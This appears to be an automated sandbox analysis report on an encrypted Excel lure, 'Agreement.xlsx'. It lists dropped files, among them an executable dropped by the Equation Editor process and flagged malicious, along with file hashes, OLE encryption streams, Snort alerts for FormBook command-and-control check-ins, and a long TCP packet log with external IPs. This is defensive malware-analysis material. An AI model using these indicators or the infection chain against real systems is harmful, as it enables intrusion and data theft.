Category:	dropped
Size (bytes):	48770
Entropy (8bit):	7.801842363879827
Encrypted:	false
SSDEEP:	768:uLgWImQ6AMqTeyjskbJeYnriZvApugsiKi7iszQ2rvBZzmFz3/soBqZhsglgDQPT:uLgY4MqTeywVYr+0ugbDTzQ27A3UXsgf
MD5:	AA7A56E6A97FFA9390DA10A2EC0C5805
SHA1:	200A6D7ED9F485DD5A7B9D79B596DE3ECEBD834A
SHA-256:	56B1EDECC9A282A9FAAFD95D4D9844608B1AE5CCC8731F34F8B30B3825734974
SHA-512:	A532FE4C52FED46919003A96B882AE6F7C70A3197AA57BD1E6E917F766729F7C9C1261C36F082FBE891852D083EDB2B5A34B0A325B7C1D96D6E58B0BED6C5782
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 90....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..R..(...(...(......3Fh.....(....P.E.P.Gj(...(....Q@.%-...(.......P.QKE.%.........;.R.@.E-...(.......P.QKE.'jZ(...QE..........h...(...QE.&(.KE.'jZ(...QE..........h...(...QE.&(.KE.'jZ(...QE..........h...(...QE.&(.KE.'j^.....(...(...(....w...3Fh....E......4w...h.%...................E./J)(......Z)(......Z)(....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\D99639AD.jpeg Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	gd-jpeg v1.0 (using IJG JPEG v80), quality = 90", baseline, precision 8, 700x990, frames 3
Category:	dropped
Size (bytes):	48770
Entropy (8bit):	7.801842363879827
Encrypted:	false
SSDEEP:	768:uLgWImQ6AMqTeyjskbJeYnriZvApugsiKi7iszQ2rvBZzmFz3/soBqZhsglgDQPT:uLgY4MqTeywVYr+0ugbDTzQ27A3UXsgf
MD5:	AA7A56E6A97FFA9390DA10A2EC0C5805
SHA1:	200A6D7ED9F485DD5A7B9D79B596DE3ECEBD834A
SHA-256:	56B1EDECC9A282A9FAAFD95D4D9844608B1AE5CCC8731F34F8B30B3825734974
SHA-512:	A532FE4C52FED46919003A96B882AE6F7C70A3197AA57BD1E6E917F766729F7C9C1261C36F082FBE891852D083EDB2B5A34B0A325B7C1D96D6E58B0BED6C5782
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 90....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..R..(...(...(......3Fh.....(....P.E.P.Gj(...(....Q@.%-...(.......P.QKE.%.........;.R.@.E-...(.......P.QKE.'jZ(...QE..........h...(...QE.&(.KE.'jZ(...QE..........h...(...QE.&(.KE.'jZ(...QE..........h...(...QE.&(.KE.'j^.....(...(...(....w...3Fh....E......4w...h.%...................E./J)(......Z)(......Z)(....

C:\Users\user\Desktop\~$Agreement.xlsx Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	330
Entropy (8bit):	1.4377382811115937
Encrypted:	false
SSDEEP:	3:vZ/FFDJw2fj/FFDJw2fV:vBFFGaFFGS
MD5:	96114D75E30EBD26B572C1FC83D1D02E
SHA1:	A44EEBDA5EB09862AC46346227F06F8CFAF19407
SHA-256:	0C6F8CF0E504C17073E4C614C8A7063F194E335D840611EEFA9E29C7CED1A523
SHA-512:	52D33C36DF2A91E63A9B1949FDC5D69E6A3610CD3855A2E3FC25017BF0A12717FC15EB8AC6113DC7D69C06AD4A83FAF0F021AD7C8D30600AA8168348BD0FA9E0
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\Public\vbc.exe Download File
Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	913408
Entropy (8bit):	7.154427701201435
Encrypted:	false
SSDEEP:	12288:pSpEvPye6xWHafjVti8Hul35XH01bi5ZioU1s/Poevs5iyXsvYqXHLs7NvGhqMlW:0qvqe6g6fzHU5X01WTPU1s6
MD5:	F49E0B01E26E5E197421C4260DD87545
SHA1:	CF6ADE9E61D1264AE3EFC371D8B7D13E2F740647
SHA-256:	7DFB2D60095157148FCB26BDFC4270CE6D5E3678C60628B8F683C4E1ADBD8043
SHA-512:	D4BE5DB242754EBE848526D663872BE9239F729D21711E54BC7ED9FE2C5B1BF398F16ACEAD6D5EF829FEB8C7F45E57800F815DF5ECA80C2982ABBDC587B2C537
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....m.`..............P.................. ... ....@.. .......................`............@.................................H...S.... .......................@....................................................... ............... ..H............text........ ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H....... 4..(.......B...8R..............................................(A.....ema.......H.@..k.&XU..U...g...............\|.. ...0Y...B....g;.=....y..#.b....J..u.8....xp8g=.......U..A.../o).....8...9{..a...;@U.1..M.. <.....t.).....RG...O...cDA....l...FDN.Jps..:..dF.KP$..q.2.K...2..=....\|/.......c&.K..[....)..4....d.U...;r.`..].....}...5..k.d43..2L,SF_#G."B....S.p.9+....y..Z....sUt.7.R.J.4...\|.c.......Y.B4...@.P`.5Wn.MI.M.?.[.....BU..D.S.....b/p.R..s.

Static File Info

General
File type:	CDFV2 Encrypted
Entropy (8bit):	7.99667249740716
TrID:	Generic OLE2 / Multistream Compound File (8008/1) 100.00%
File name:	Agreement.xlsx
File size:	2198016
MD5:	199fa59c2168e232c33f2fe8809b78d0
SHA1:	cbf3e8aedfd33ee4a070eef60dfddb87009f5414
SHA256:	aae7b9ac8ddf709b9a6c1f841b90b8468d4a71eeb0fec6e30f1262b726e104ec
SHA512:	082315dd05ca433ca6b1e619bd48cfce332ec3063bddb2ec64a79a9f9afe5a06deb450ea224e589fbfb40c9eddc630a8fe89ffe6d7eb8688c612e518aeaa9fc1
SSDEEP:	49152:gRkiKYXvSVKbfyvrURwxnCBCWOeJT4bysiWWacomXTlEzmANJtq6ozXearVH:8tvSXdtWOAT4+0yo/MzeaVH
File Content Preview:	........................>..................."...................................................................................\|.......~...............z.......\|.......~...............z.......\|.......~......................................................

File Icon


Icon Hash:	e4e2aa8aa4b4bcb4

Static OLE Info

General
Document Type:	OLE
Number of OLE Files:	1

OLE File "Agreement.xlsx"

Indicators
Has Summary Info:	False
Application Name:	unknown
Encrypted Document:	True
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	False
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:
Flash Objects Count:
Contains VBA Macros:	False

Streams

Stream Path: \x6DataSpaces/DataSpaceInfo/StrongEncryptionDataSpace, File Type: data, Stream Size: 64

General
Stream Path:	\x6DataSpaces/DataSpaceInfo/StrongEncryptionDataSpace
File Type:	data
Stream Size:	64
Entropy:	2.73637206947
Base64 Encoded:	False
Data ASCII:	. . . . . . . . 2 . . . S . t . r . o . n . g . E . n . c . r . y . p . t . i . o . n . T . r . a . n . s . f . o . r . m . . .
Data Raw:	08 00 00 00 01 00 00 00 32 00 00 00 53 00 74 00 72 00 6f 00 6e 00 67 00 45 00 6e 00 63 00 72 00 79 00 70 00 74 00 69 00 6f 00 6e 00 54 00 72 00 61 00 6e 00 73 00 66 00 6f 00 72 00 6d 00 00 00

Stream Path: \x6DataSpaces/DataSpaceMap, File Type: data, Stream Size: 112

General
Stream Path:	\x6DataSpaces/DataSpaceMap
File Type:	data
Stream Size:	112
Entropy:	2.7597816111
Base64 Encoded:	False
Data ASCII:	. . . . . . . . h . . . . . . . . . . . . . . E . n . c . r . y . p . t . e . d . P . a . c . k . a . g . e . 2 . . . S . t . r . o . n . g . E . n . c . r . y . p . t . i . o . n . D . a . t . a . S . p . a . c . e . . .
Data Raw:	08 00 00 00 01 00 00 00 68 00 00 00 01 00 00 00 00 00 00 00 20 00 00 00 45 00 6e 00 63 00 72 00 79 00 70 00 74 00 65 00 64 00 50 00 61 00 63 00 6b 00 61 00 67 00 65 00 32 00 00 00 53 00 74 00 72 00 6f 00 6e 00 67 00 45 00 6e 00 63 00 72 00 79 00 70 00 74 00 69 00 6f 00 6e 00 44 00 61 00 74 00 61 00 53 00 70 00 61 00 63 00 65 00 00 00

Stream Path: \x6DataSpaces/TransformInfo/StrongEncryptionTransform/\x6Primary, File Type: data, Stream Size: 200

General
Stream Path:	\x6DataSpaces/TransformInfo/StrongEncryptionTransform/\x6Primary
File Type:	data
Stream Size:	200
Entropy:	3.13335930328
Base64 Encoded:	False
Data ASCII:	X . . . . . . . L . . . { . F . F . 9 . A . 3 . F . 0 . 3 . - . 5 . 6 . E . F . - . 4 . 6 . 1 . 3 . - . B . D . D . 5 . - . 5 . A . 4 . 1 . C . 1 . D . 0 . 7 . 2 . 4 . 6 . } . N . . . M . i . c . r . o . s . o . f . t . . . C . o . n . t . a . i . n . e . r . . . E . n . c . r . y . p . t . i . o . n . T . r . a . n . s . f . o . r . m . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	58 00 00 00 01 00 00 00 4c 00 00 00 7b 00 46 00 46 00 39 00 41 00 33 00 46 00 30 00 33 00 2d 00 35 00 36 00 45 00 46 00 2d 00 34 00 36 00 31 00 33 00 2d 00 42 00 44 00 44 00 35 00 2d 00 35 00 41 00 34 00 31 00 43 00 31 00 44 00 30 00 37 00 32 00 34 00 36 00 7d 00 4e 00 00 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 2e 00 43 00 6f 00 6e 00 74 00 61 00 69 00 6e 00 65 00

Stream Path: \x6DataSpaces/Version, File Type: data, Stream Size: 76

General
Stream Path:	\x6DataSpaces/Version
File Type:	data
Stream Size:	76
Entropy:	2.79079600998
Base64 Encoded:	False
Data ASCII:	< . . . M . i . c . r . o . s . o . f . t . . . C . o . n . t . a . i . n . e . r . . . D . a . t . a . S . p . a . c . e . s . . . . . . . . . . . . .
Data Raw:	3c 00 00 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 2e 00 43 00 6f 00 6e 00 74 00 61 00 69 00 6e 00 65 00 72 00 2e 00 44 00 61 00 74 00 61 00 53 00 70 00 61 00 63 00 65 00 73 00 01 00 00 00 01 00 00 00 01 00 00 00

Stream Path: EncryptedPackage, File Type: data, Stream Size: 2176952

General
Stream Path:	EncryptedPackage
File Type:	data
Stream Size:	2176952
Entropy:	7.99988616788
Base64 Encoded:	True
Data ASCII:	. 7 ! . . . . . - D . 2 . . l r . . Y . - . . . . . . b e . . . . . 4 . . D p . m K Z . O . . . . s . = r % $ . ] . . . . . V . . B . r . i o . G . . . . \\ ] z q ! . . & . . J G . . . . \\ ] z q ! . . & . . J G . . . . \\ ] z q ! . . & . . J G . . . . \\ ] z q ! . . & . . J G . . . . \\ ] z q ! . . & . . J G . . . . \\ ] z q ! . . & . . J G . . . . \\ ] z q ! . . & . . J G . . . . \\ ] z q ! . . & . . J G . . . . \\ ] z q ! . . & . . J G . . . . \\ ] z q ! . . & . . J G . . . . \\ ] z q ! . . & . . J G . . . . \\ ] z
Data Raw:	a8 37 21 00 00 00 00 00 2d 44 e6 32 e3 97 6c 72 a5 89 59 0c 2d e7 8e 97 dd d5 06 62 65 e6 9b bb c6 11 34 86 b4 44 70 93 6d 4b 5a c8 4f a4 a5 b7 be 73 aa 3d 72 25 24 8b 5d 87 a1 96 fb 90 56 1e 84 42 07 72 16 69 6f 8f 47 d9 dc dd de 5c 5d 7a 71 21 7f a2 26 a6 16 4a 47 d9 dc dd de 5c 5d 7a 71 21 7f a2 26 a6 16 4a 47 d9 dc dd de 5c 5d 7a 71 21 7f a2 26 a6 16 4a 47 d9 dc dd de 5c 5d 7a

Stream Path: EncryptionInfo, File Type: data, Stream Size: 224

General
Stream Path:	EncryptionInfo
File Type:	data
Stream Size:	224
Entropy:	4.52992358042
Base64 Encoded:	False
Data ASCII:	. . . . $ . . . . . . . $ . . . . . . . . f . . . . . . . . . . . . . . . . . . . . . . M . i . c . r . o . s . o . f . t . . E . n . h . a . n . c . e . d . . R . S . A . . a . n . d . . A . E . S . . C . r . y . p . t . o . g . r . a . p . h . i . c . . P . r . o . v . i . d . e . r . . . . . . . . . . . . . . Q . . Y L . . . . . 0 . . . . . $ . . . . . N z P . . . . . d . . . . . . . # 6 & / . % . . . . d . . . u w . . t . . > .
Data Raw:	04 00 02 00 24 00 00 00 8c 00 00 00 24 00 00 00 00 00 00 00 0e 66 00 00 04 80 00 00 80 00 00 00 18 00 00 00 00 00 00 00 00 00 00 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 20 00 45 00 6e 00 68 00 61 00 6e 00 63 00 65 00 64 00 20 00 52 00 53 00 41 00 20 00 61 00 6e 00 64 00 20 00 41 00 45 00 53 00 20 00 43 00 72 00 79 00 70 00 74 00 6f 00 67 00 72 00 61 00 70 00 68 00

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
01/27/21-20:07:24.943316	TCP	1201	ATTACK-RESPONSES 403 Forbidden	80	49166	34.102.136.180	192.168.2.22
01/27/21-20:07:40.755338	TCP	1201	ATTACK-RESPONSES 403 Forbidden	80	49168	34.102.136.180	192.168.2.22
01/27/21-20:07:46.006191	TCP	1201	ATTACK-RESPONSES 403 Forbidden	80	49169	34.102.136.180	192.168.2.22
01/27/21-20:07:51.262766	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49170	80	192.168.2.22	198.185.159.144
01/27/21-20:07:51.262766	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49170	80	192.168.2.22	198.185.159.144
01/27/21-20:07:51.262766	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49170	80	192.168.2.22	198.185.159.144

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 27, 2021 20:06:16.115699053 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.157876015 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.158015966 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.158596992 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.200130939 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.200189114 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.200273037 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.200313091 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.200355053 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.200381041 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.200412035 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.200613022 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.241239071 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.241326094 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.241327047 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.241394043 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.241446018 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.241516113 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.241525888 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.241578102 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.241596937 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.241642952 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.241662025 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.241708040 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.241725922 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.241777897 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.241806030 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.241857052 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.282776117 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.282861948 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.282924891 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.282978058 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.282999992 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.283055067 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.283143997 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.283209085 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.283235073 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.283277988 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.283277988 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.283314943 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.283317089 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.283354998 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.283363104 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.283405066 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.283406019 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.283442974 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.283446074 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.283479929 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.283483028 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.283516884 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.283519030 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.283552885 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.283557892 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.283590078 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.283591032 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.283627987 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.283628941 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.283664942 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.283674955 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.283713102 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.284068108 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.324649096 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.324771881 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.324878931 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.324930906 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.324943066 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.324970961 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.324980021 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.325009108 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.325052023 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.325063944 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.325090885 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.325093985 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.325138092 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.325145960 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.325180054 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.325208902 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.325210094 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.325212002 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.325242996 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.325248003 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.325268984 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.325285912 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.325298071 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.325333118 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.325337887 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.325375080 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.325400114 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.325436115 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.325467110 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.325505018 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.325520039 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.325542927 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.325546026 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.325579882 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.325591087 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.325628042 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.325632095 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.325669050 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.325679064 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.325705051 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.325705051 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.325743914 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.325752974 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.325779915 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.325813055 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.325818062 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.325845003 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.325855017 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.325884104 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.325891018 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.325902939 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.325928926 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.325939894 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.325982094 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.325992107 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.326018095 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.326035023 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.326056004 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.326061010 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.326093912 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.326103926 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.326129913 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.326145887 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.326174021 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.327903986 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.367135048 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.367202044 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.367244005 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.367281914 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.367319107 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.367331028 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.367353916 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.367356062 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.367356062 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.367358923 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.367361069 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.367392063 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.367400885 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.367429018 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.367432117 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.367465019 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.367468119 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.367507935 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.367512941 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.367553949 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.367564917 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.367590904 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.367594957 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.367628098 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.367630959 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.367665052 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.367670059 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.367701054 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.367705107 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.367741108 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.367742062 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.367778063 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.367783070 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.367815971 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.367824078 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.367866993 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.367870092 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.367908001 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.367957115 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.367999077 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.368004084 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.368041039 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.368046999 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.368088961 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.368088961 CET	80	49165	18.194.54.219	192.168.2.22
